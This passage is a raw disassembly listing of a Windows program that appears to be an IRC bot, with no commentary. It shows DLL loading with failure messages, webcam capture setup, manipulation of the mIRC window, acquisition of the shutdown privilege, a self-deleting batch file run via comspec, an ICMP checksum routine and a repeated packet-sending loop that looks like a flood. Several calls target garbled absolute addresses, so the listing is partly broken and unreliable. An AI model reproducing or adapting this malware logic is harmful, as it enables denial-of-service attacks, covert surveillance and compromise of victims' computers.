; "SQLExecDirect" push edi mov dword_43F6F0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43F62C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43F5EC, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43F684, eax call esi cmp dword_43F6A4, ebx mov dword_43F5F8, eax jz short loc_40A450 cmp dword_43F6F0, ebx jz short loc_40A450 cmp dword_43F62C, ebx jz short loc_40A450 cmp dword_43F5EC, ebx jz short loc_40A450 cmp dword_43F684, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j call near ptr 264030Ch nop mov dword_43F78C, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43F788, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43F5C0, eax call esi cmp dword_43F5C0, ebx mov dword_43F698, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j call near ptr 264030Ch nop mov dword_43F794, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43F790, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D1p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43F728, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43F72C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43F730, esi jz short loc_40A528 push dword_43F734 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43F738, esi jz short loc_40A55C push dword_43F73C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43F740, esi jz short loc_40A590 push dword_43F744 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43F748, esi jz short loc_40A5C4 push dword_43F74C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43F750, esi jz short loc_40A5F8 push dword_43F754 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43F758, esi jz short loc_40A62C push dword_43F75C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43F760, esi jz short loc_40A660 push dword_43F764 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43F768, esi jz short loc_40A694 push dword_43F76C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43F770, esi jz short loc_40A6C8 push dword_43F774 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43F778, esi jz short loc_40A6FC push dword_43F77C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43F780, esi jz short loc_40A730 push dword_43F784 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43F788, esi jz short loc_40A764 push dword_43F78C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43F790, esi jz short loc_40A798 push dword_43F794 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172AE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172AE cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp ; sub_40EE72+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 264030Ch nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2720000h lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43F798 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5730p push esi push 0 call dword_43F638 test eax, eax jz short loc_40AAF6 push 1 call dword_43F658 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 2730627h push esi mov edi, eax call near ptr 2730000h nop call dword_43F6BC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43F674 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2740000h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2590000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172AE pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43F6C4 push esi push 1 push 4C9h push ebp call dword_43F6C4 push ebx nop call near ptr 2730AE3h push edi call near ptr 2621906h nop push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43F724 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2750000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27406A8h push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511D pop ecx pop ecx push 50005h push 6 call dword_43F5B0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D2p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43F738, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F23 lea eax, [ebp+var_764] push eax push 400h call near ptr 2761161h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2640000h mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2630000h push edi nop call near ptr 2621906h push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43C80C mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2710A87h nop push eax nop call near ptr 2650000h lea eax, [ebp+var_15C] push eax nop call near ptr 268044Ah cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax call near ptr 276105Ah nop loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172AE add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2760000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2750604h loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43F6EC test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43F590 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414554p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43F6E4 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172AE add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43F6E4 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172AE pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43F6E0 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43F60C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43F99C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172AE add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43F5F4 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43F6A8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43F6EC cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417076 pop ecx pop ecx push edi call near ptr 25F0320h nop loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43F58C inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43F720 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea 